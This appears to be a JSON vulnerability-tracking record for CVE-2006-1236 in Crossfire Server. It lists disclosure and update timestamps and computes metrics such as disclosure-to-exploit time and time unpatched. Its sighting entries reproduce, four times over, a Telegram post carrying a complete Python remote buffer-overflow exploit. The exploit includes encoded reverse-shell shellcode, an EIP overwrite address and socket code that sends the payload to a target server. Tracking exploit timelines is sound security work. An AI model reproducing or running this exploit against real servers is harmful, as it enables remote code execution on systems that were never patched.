{"metadata": {"vulnerability": "CVE-2006-1236", "count": 16, "kinds": {"milestone": 4, "sighting": 2, "kev": 0, "other": 10}}, "data": [{"timestamp": "2006-03-14T00:00:00Z", "date_only": false, "value": "2006-03-14T00:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / mitre", "record": "CVE-2006-1236", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2006-03-14T00:00:00Z", "date_only": false, "value": "2006-03-14T00:00:00.000Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2006-1236", "field": "cveMetadata.dateReserved"}, {"timestamp": "2006-03-15T00:00:00Z", "date_only": false, "value": "2006-03-15T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2006-1236", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2006-03-15T00:02:00Z", "date_only": false, "value": "2006-03-15T00:02:00Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-3HXR-9GC8-927W", "record": "GHSA-3HXR-9GC8-927W", "field": "database_specific.nvd_published_at"}, {"timestamp": "2006-03-15T00:02:00Z", "date_only": false, "value": "2006-03-15T00:02:00.000", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2006-1236", "record": "FKIE_CVE-2006-1236", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2006-03-15T00:02:00Z", "date_only": false, "value": "2006-03-15T00:02Z", "kind": "other", "label": "Published Date", "source": "gsd \u00b7 GSD-2006-1236", "record": "GSD-2006-1236", "field": "namespaces.nvd.nist.gov.publishedDate"}, {"timestamp": "2021-08-18T16:06:35Z", "date_only": false, "value": "2021-08-18T16:06:35.000Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / mitre", "record": "CVE-2006-1236", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2021-08-18T17:15:00Z", "date_only": false, "value": "2021-08-18T17:15Z", "kind": "other", "label": "Last Modified Date", "source": "gsd \u00b7 GSD-2006-1236", "record": "GSD-2006-1236", "field": "namespaces.nvd.nist.gov.lastModifiedDate"}, {"timestamp": "2022-05-01T06:47:16Z", "date_only": false, "value": "2022-05-01T06:47:16Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-3HXR-9GC8-927W", "record": "GHSA-3HXR-9GC8-927W", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2022-05-01T06:47:16Z", "date_only": false, "value": "2022-05-01T06:47:16Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-3HXR-9GC8-927W", "record": "GHSA-3HXR-9GC8-927W", "field": "modified"}, {"timestamp": "2023-12-13T01:19:55.222Z", "date_only": false, "value": "2023-12-13T01:19:55.222231Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2006-1236", "record": "GSD-2006-1236", "field": "gsd.osvSchema.modified"}, {"timestamp": "2024-08-07T17:03:28.702Z", "date_only": false, "value": "2024-08-07T17:03:28.702Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2006-1236", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2024-08-07T17:03:28.702Z", "date_only": false, "value": "2024-08-07T17:03:28.702Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "CVE-2006-1236", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2026-06-16T22:22:16.543Z", "date_only": false, "value": "2026-06-16T22:22:16.543", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2006-1236", "record": "FKIE_CVE-2006-1236", "field": "lastModified"}, {"timestamp": "2026-09-01T20:02:27.935Z", "date_only": false, "value": "2026-09-01T20:02:27.935715Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/20678", "record": "CVE-2006-1236", "field": "creation_timestamp", "uuid": "a455967d-3e86-49af-b85e-931a038c1d91", "content": "Exploit Collector\nCrossfire Server 1.0 Buffer Overflow\n\nhttps://4.bp.blogspot.com/-IV-83q7tlNU/WWlvNru3JHI/AAAAAAAAIMg/qWmIdM50sJs0a5mqLHfeVDVNkTKQ10wJwCLcBGAs/s1600/h23.png \nCrossfire Server version 1.0 SetUp() remote buffer overflow exploit.\n\nMD5 | 2c6f2d01367a86b17cb7ecd8cf95eb93\n\nDownload\n# Exploit Title: crossfire-server 1.9.0 - 'SetUp()' Remote Buffer Overflow\n# Exploit Author: Khaled Salem @Khaled0x07\n# Software Link: https://www.exploit-db.com/apps/43240af83a4414d2dcc19fff3af31a63-crossfire-1.9.0.tar.gz\n# Version: 1.9.0\n# Tested on: Kali Linux 2020.4\n# CVE : CVE-2006-1236\n\n#!/bin/python\nimport socket\nimport time\n# Crash at 4379\n# EIP Offset at 4368\n# Badchar \\x00\\x20\n# ECX Size 170\n# CALL ECX 0x080640eb\n\nsize = 4379\n\n# Attacker IP: 127.0.0.1 Port: 443\nshellcode =  b\"\"\nshellcode += b\"\\xd9\\xee\\xd9\\x74\\x24\\xf4\\xb8\\x60\\x61\\x5f\\x28\"\nshellcode += b\"\\x5b\\x33\\xc9\\xb1\\x12\\x31\\x43\\x17\\x03\\x43\\x17\"\nshellcode += b\"\\x83\\xa3\\x65\\xbd\\xdd\\x12\\xbd\\xb6\\xfd\\x07\\x02\"\nshellcode += b\"\\x6a\\x68\\xa5\\x0d\\x6d\\xdc\\xcf\\xc0\\xee\\x8e\\x56\"\nshellcode += b\"\\x6b\\xd1\\x7d\\xe8\\xc2\\x57\\x87\\x80\\xab\\xa7\\x77\"\nshellcode += b\"\\x51\\x3c\\xaa\\x77\\x50\\x07\\x23\\x96\\xe2\\x11\\x64\"\nshellcode += b\"\\x08\\x51\\x6d\\x87\\x23\\xb4\\x5c\\x08\\x61\\x5e\\x31\"\nshellcode += b\"\\x26\\xf5\\xf6\\xa5\\x17\\xd6\\x64\\x5f\\xe1\\xcb\\x3a\"\nshellcode += b\"\\xcc\\x78\\xea\\x0a\\xf9\\xb7\\x6d\"\ntry:\nfiller = \"\\x90\"*(4368 - 170) + shellcode+\"\\x90\"*(170-len(shellcode))\nEIP = \"\\xeb\\x40\\x06\\x08\" \npadding = \"C\" * (4379 - len(filler) - len(EIP))\npayload = filler + EIP + padding\ninputBuffer = \"\\x11(setup sound \"+ payload +\"\\x90\\x00#\"\nprint(\"Sending Buffer with size:\" + str(len(payload)))\ns = socket.socket(socket.AF_INET , socket.SOCK_STREAM)\ns.connect((\"192.168.1.4\",13327)) # Server IP Address: 192.168.1.4\nprint(s.recv(1024))\n\ns.send(inputBuffer)\ns.close()\n\nexcept:\nprint(\"Could not connect\")\nexit(0)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "url": "https://t.me/hacking_Attack/20678"}, {"timestamp": "2026-09-07T19:00:04.581Z", "date_only": false, "value": "2026-09-07T19:00:04.581276Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/20678", "record": "CVE-2006-1236", "field": "creation_timestamp", "uuid": "7c290eb5-1197-4e43-be7e-23f1bf5e6497", "content": "Exploit Collector\nCrossfire Server 1.0 Buffer Overflow\n\nhttps://4.bp.blogspot.com/-IV-83q7tlNU/WWlvNru3JHI/AAAAAAAAIMg/qWmIdM50sJs0a5mqLHfeVDVNkTKQ10wJwCLcBGAs/s1600/h23.png \nCrossfire Server version 1.0 SetUp() remote buffer overflow exploit.\n\nMD5 | 2c6f2d01367a86b17cb7ecd8cf95eb93\n\nDownload\n# Exploit Title: crossfire-server 1.9.0 - 'SetUp()' Remote Buffer Overflow\n# Exploit Author: Khaled Salem @Khaled0x07\n# Software Link: https://www.exploit-db.com/apps/43240af83a4414d2dcc19fff3af31a63-crossfire-1.9.0.tar.gz\n# Version: 1.9.0\n# Tested on: Kali Linux 2020.4\n# CVE : CVE-2006-1236\n\n#!/bin/python\nimport socket\nimport time\n# Crash at 4379\n# EIP Offset at 4368\n# Badchar \\x00\\x20\n# ECX Size 170\n# CALL ECX 0x080640eb\n\nsize = 4379\n\n# Attacker IP: 127.0.0.1 Port: 443\nshellcode =  b\"\"\nshellcode += b\"\\xd9\\xee\\xd9\\x74\\x24\\xf4\\xb8\\x60\\x61\\x5f\\x28\"\nshellcode += b\"\\x5b\\x33\\xc9\\xb1\\x12\\x31\\x43\\x17\\x03\\x43\\x17\"\nshellcode += b\"\\x83\\xa3\\x65\\xbd\\xdd\\x12\\xbd\\xb6\\xfd\\x07\\x02\"\nshellcode += b\"\\x6a\\x68\\xa5\\x0d\\x6d\\xdc\\xcf\\xc0\\xee\\x8e\\x56\"\nshellcode += b\"\\x6b\\xd1\\x7d\\xe8\\xc2\\x57\\x87\\x80\\xab\\xa7\\x77\"\nshellcode += b\"\\x51\\x3c\\xaa\\x77\\x50\\x07\\x23\\x96\\xe2\\x11\\x64\"\nshellcode += b\"\\x08\\x51\\x6d\\x87\\x23\\xb4\\x5c\\x08\\x61\\x5e\\x31\"\nshellcode += b\"\\x26\\xf5\\xf6\\xa5\\x17\\xd6\\x64\\x5f\\xe1\\xcb\\x3a\"\nshellcode += b\"\\xcc\\x78\\xea\\x0a\\xf9\\xb7\\x6d\"\ntry:\nfiller = \"\\x90\"*(4368 - 170) + shellcode+\"\\x90\"*(170-len(shellcode))\nEIP = \"\\xeb\\x40\\x06\\x08\" \npadding = \"C\" * (4379 - len(filler) - len(EIP))\npayload = filler + EIP + padding\ninputBuffer = \"\\x11(setup sound \"+ payload +\"\\x90\\x00#\"\nprint(\"Sending Buffer with size:\" + str(len(payload)))\ns = socket.socket(socket.AF_INET , socket.SOCK_STREAM)\ns.connect((\"192.168.1.4\",13327)) # Server IP Address: 192.168.1.4\nprint(s.recv(1024))\n\ns.send(inputBuffer)\ns.close()\n\nexcept:\nprint(\"Could not connect\")\nexit(0)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "url": "https://t.me/hacking_Attack/20678", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}], "metrics": {"as_of": "2026-10-29T07:43:58.198Z", "anchors": {"origin": {"timestamp": "2006-03-14T00:00:00Z", "date_only": false, "value": "2006-03-14T00:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / mitre", "record": "CVE-2006-1236", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "discovery": null, "report": null, "acknowledgement": null, "disclosure": {"timestamp": "2006-03-14T00:00:00Z", "date_only": false, "value": "2006-03-14T00:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / mitre", "record": "CVE-2006-1236", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "exploit_publication": {"timestamp": "2026-09-07T19:00:04.581Z", "date_only": false, "value": "2026-09-07T19:00:04.581276Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/20678", "record": "CVE-2006-1236", "field": "creation_timestamp", "uuid": "7c290eb5-1197-4e43-be7e-23f1bf5e6497", "content": "Exploit Collector\nCrossfire Server 1.0 Buffer Overflow\n\nhttps://4.bp.blogspot.com/-IV-83q7tlNU/WWlvNru3JHI/AAAAAAAAIMg/qWmIdM50sJs0a5mqLHfeVDVNkTKQ10wJwCLcBGAs/s1600/h23.png \nCrossfire Server version 1.0 SetUp() remote buffer overflow exploit.\n\nMD5 | 2c6f2d01367a86b17cb7ecd8cf95eb93\n\nDownload\n# Exploit Title: crossfire-server 1.9.0 - 'SetUp()' Remote Buffer Overflow\n# Exploit Author: Khaled Salem @Khaled0x07\n# Software Link: https://www.exploit-db.com/apps/43240af83a4414d2dcc19fff3af31a63-crossfire-1.9.0.tar.gz\n# Version: 1.9.0\n# Tested on: Kali Linux 2020.4\n# CVE : CVE-2006-1236\n\n#!/bin/python\nimport socket\nimport time\n# Crash at 4379\n# EIP Offset at 4368\n# Badchar \\x00\\x20\n# ECX Size 170\n# CALL ECX 0x080640eb\n\nsize = 4379\n\n# Attacker IP: 127.0.0.1 Port: 443\nshellcode =  b\"\"\nshellcode += b\"\\xd9\\xee\\xd9\\x74\\x24\\xf4\\xb8\\x60\\x61\\x5f\\x28\"\nshellcode += b\"\\x5b\\x33\\xc9\\xb1\\x12\\x31\\x43\\x17\\x03\\x43\\x17\"\nshellcode += b\"\\x83\\xa3\\x65\\xbd\\xdd\\x12\\xbd\\xb6\\xfd\\x07\\x02\"\nshellcode += b\"\\x6a\\x68\\xa5\\x0d\\x6d\\xdc\\xcf\\xc0\\xee\\x8e\\x56\"\nshellcode += b\"\\x6b\\xd1\\x7d\\xe8\\xc2\\x57\\x87\\x80\\xab\\xa7\\x77\"\nshellcode += b\"\\x51\\x3c\\xaa\\x77\\x50\\x07\\x23\\x96\\xe2\\x11\\x64\"\nshellcode += b\"\\x08\\x51\\x6d\\x87\\x23\\xb4\\x5c\\x08\\x61\\x5e\\x31\"\nshellcode += b\"\\x26\\xf5\\xf6\\xa5\\x17\\xd6\\x64\\x5f\\xe1\\xcb\\x3a\"\nshellcode += b\"\\xcc\\x78\\xea\\x0a\\xf9\\xb7\\x6d\"\ntry:\nfiller = \"\\x90\"*(4368 - 170) + shellcode+\"\\x90\"*(170-len(shellcode))\nEIP = \"\\xeb\\x40\\x06\\x08\" \npadding = \"C\" * (4379 - len(filler) - len(EIP))\npayload = filler + EIP + padding\ninputBuffer = \"\\x11(setup sound \"+ payload +\"\\x90\\x00#\"\nprint(\"Sending Buffer with size:\" + str(len(payload)))\ns = socket.socket(socket.AF_INET , socket.SOCK_STREAM)\ns.connect((\"192.168.1.4\",13327)) # Server IP Address: 192.168.1.4\nprint(s.recv(1024))\n\ns.send(inputBuffer)\ns.close()\n\nexcept:\nprint(\"Could not connect\")\nexit(0)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "url": "https://t.me/hacking_Attack/20678", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "exploitation": null, "patch": null}, "vendor_response_time": {"available": false, "missing": ["start", "end"]}, "time_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit_publication": {"available": true, "seconds": 646513204.581, "hours": 179587.0012725, "days": 7482.7917196875, "min_seconds": 646426804.581, "max_seconds": 646513204.581, "approximate": true, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2006-03-14T00:00:00Z", "date_only": false, "value": "2006-03-14T00:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / mitre", "record": "CVE-2006-1236", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2026-09-07T19:00:04.581Z", "date_only": false, "value": "2026-09-07T19:00:04.581276Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/20678", "record": "CVE-2006-1236", "field": "creation_timestamp", "uuid": "7c290eb5-1197-4e43-be7e-23f1bf5e6497", "content": "Exploit Collector\nCrossfire Server 1.0 Buffer Overflow\n\nhttps://4.bp.blogspot.com/-IV-83q7tlNU/WWlvNru3JHI/AAAAAAAAIMg/qWmIdM50sJs0a5mqLHfeVDVNkTKQ10wJwCLcBGAs/s1600/h23.png \nCrossfire Server version 1.0 SetUp() remote buffer overflow exploit.\n\nMD5 | 2c6f2d01367a86b17cb7ecd8cf95eb93\n\nDownload\n# Exploit Title: crossfire-server 1.9.0 - 'SetUp()' Remote Buffer Overflow\n# Exploit Author: Khaled Salem @Khaled0x07\n# Software Link: https://www.exploit-db.com/apps/43240af83a4414d2dcc19fff3af31a63-crossfire-1.9.0.tar.gz\n# Version: 1.9.0\n# Tested on: Kali Linux 2020.4\n# CVE : CVE-2006-1236\n\n#!/bin/python\nimport socket\nimport time\n# Crash at 4379\n# EIP Offset at 4368\n# Badchar \\x00\\x20\n# ECX Size 170\n# CALL ECX 0x080640eb\n\nsize = 4379\n\n# Attacker IP: 127.0.0.1 Port: 443\nshellcode =  b\"\"\nshellcode += b\"\\xd9\\xee\\xd9\\x74\\x24\\xf4\\xb8\\x60\\x61\\x5f\\x28\"\nshellcode += b\"\\x5b\\x33\\xc9\\xb1\\x12\\x31\\x43\\x17\\x03\\x43\\x17\"\nshellcode += b\"\\x83\\xa3\\x65\\xbd\\xdd\\x12\\xbd\\xb6\\xfd\\x07\\x02\"\nshellcode += b\"\\x6a\\x68\\xa5\\x0d\\x6d\\xdc\\xcf\\xc0\\xee\\x8e\\x56\"\nshellcode += b\"\\x6b\\xd1\\x7d\\xe8\\xc2\\x57\\x87\\x80\\xab\\xa7\\x77\"\nshellcode += b\"\\x51\\x3c\\xaa\\x77\\x50\\x07\\x23\\x96\\xe2\\x11\\x64\"\nshellcode += b\"\\x08\\x51\\x6d\\x87\\x23\\xb4\\x5c\\x08\\x61\\x5e\\x31\"\nshellcode += b\"\\x26\\xf5\\xf6\\xa5\\x17\\xd6\\x64\\x5f\\xe1\\xcb\\x3a\"\nshellcode += b\"\\xcc\\x78\\xea\\x0a\\xf9\\xb7\\x6d\"\ntry:\nfiller = \"\\x90\"*(4368 - 170) + shellcode+\"\\x90\"*(170-len(shellcode))\nEIP = \"\\xeb\\x40\\x06\\x08\" \npadding = \"C\" * (4379 - len(filler) - len(EIP))\npayload = filler + EIP + padding\ninputBuffer = \"\\x11(setup sound \"+ payload +\"\\x90\\x00#\"\nprint(\"Sending Buffer with size:\" + str(len(payload)))\ns = socket.socket(socket.AF_INET , socket.SOCK_STREAM)\ns.connect((\"192.168.1.4\",13327)) # Server IP Address: 192.168.1.4\nprint(s.recv(1024))\n\ns.send(inputBuffer)\ns.close()\n\nexcept:\nprint(\"Could not connect\")\nexit(0)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "url": "https://t.me/hacking_Attack/20678", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}}, "time_to_patch": {"available": false, "missing": ["start", "end"]}, "total_time_to_patch": {"available": false, "missing": ["start", "end"]}, "disclosure_to_patch": {"available": false, "missing": ["end"]}, "time_unpatched": {"available": true, "seconds": 650965438.198482, "hours": 180823.7328329117, "days": 7534.32220137132, "min_seconds": 650879038.198482, "max_seconds": 650965438.198482, "approximate": true, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2006-03-14T00:00:00Z", "date_only": false, "value": "2006-03-14T00:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / mitre", "record": "CVE-2006-1236", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2026-10-29T07:43:58.198Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}, "exploitation_to_patch": {"available": false, "missing": ["start"]}, "exploit_publication_to_patch": {"available": true, "seconds": 4452233.617482, "hours": 1236.7315604116666, "days": 51.530481683819445, "min_seconds": 4452233.617482, "max_seconds": 4452233.617482, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2026-09-07T19:00:04.581Z", "date_only": false, "value": "2026-09-07T19:00:04.581276Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/20678", "record": "CVE-2006-1236", "field": "creation_timestamp", "uuid": "7c290eb5-1197-4e43-be7e-23f1bf5e6497", "content": "Exploit Collector\nCrossfire Server 1.0 Buffer Overflow\n\nhttps://4.bp.blogspot.com/-IV-83q7tlNU/WWlvNru3JHI/AAAAAAAAIMg/qWmIdM50sJs0a5mqLHfeVDVNkTKQ10wJwCLcBGAs/s1600/h23.png \nCrossfire Server version 1.0 SetUp() remote buffer overflow exploit.\n\nMD5 | 2c6f2d01367a86b17cb7ecd8cf95eb93\n\nDownload\n# Exploit Title: crossfire-server 1.9.0 - 'SetUp()' Remote Buffer Overflow\n# Exploit Author: Khaled Salem @Khaled0x07\n# Software Link: https://www.exploit-db.com/apps/43240af83a4414d2dcc19fff3af31a63-crossfire-1.9.0.tar.gz\n# Version: 1.9.0\n# Tested on: Kali Linux 2020.4\n# CVE : CVE-2006-1236\n\n#!/bin/python\nimport socket\nimport time\n# Crash at 4379\n# EIP Offset at 4368\n# Badchar \\x00\\x20\n# ECX Size 170\n# CALL ECX 0x080640eb\n\nsize = 4379\n\n# Attacker IP: 127.0.0.1 Port: 443\nshellcode =  b\"\"\nshellcode += b\"\\xd9\\xee\\xd9\\x74\\x24\\xf4\\xb8\\x60\\x61\\x5f\\x28\"\nshellcode += b\"\\x5b\\x33\\xc9\\xb1\\x12\\x31\\x43\\x17\\x03\\x43\\x17\"\nshellcode += b\"\\x83\\xa3\\x65\\xbd\\xdd\\x12\\xbd\\xb6\\xfd\\x07\\x02\"\nshellcode += b\"\\x6a\\x68\\xa5\\x0d\\x6d\\xdc\\xcf\\xc0\\xee\\x8e\\x56\"\nshellcode += b\"\\x6b\\xd1\\x7d\\xe8\\xc2\\x57\\x87\\x80\\xab\\xa7\\x77\"\nshellcode += b\"\\x51\\x3c\\xaa\\x77\\x50\\x07\\x23\\x96\\xe2\\x11\\x64\"\nshellcode += b\"\\x08\\x51\\x6d\\x87\\x23\\xb4\\x5c\\x08\\x61\\x5e\\x31\"\nshellcode += b\"\\x26\\xf5\\xf6\\xa5\\x17\\xd6\\x64\\x5f\\xe1\\xcb\\x3a\"\nshellcode += b\"\\xcc\\x78\\xea\\x0a\\xf9\\xb7\\x6d\"\ntry:\nfiller = \"\\x90\"*(4368 - 170) + shellcode+\"\\x90\"*(170-len(shellcode))\nEIP = \"\\xeb\\x40\\x06\\x08\" \npadding = \"C\" * (4379 - len(filler) - len(EIP))\npayload = filler + EIP + padding\ninputBuffer = \"\\x11(setup sound \"+ payload +\"\\x90\\x00#\"\nprint(\"Sending Buffer with size:\" + str(len(payload)))\ns = socket.socket(socket.AF_INET , socket.SOCK_STREAM)\ns.connect((\"192.168.1.4\",13327)) # Server IP Address: 192.168.1.4\nprint(s.recv(1024))\n\ns.send(inputBuffer)\ns.close()\n\nexcept:\nprint(\"Could not connect\")\nexit(0)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "url": "https://t.me/hacking_Attack/20678", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "end": {"timestamp": "2026-10-29T07:43:58.198Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}}}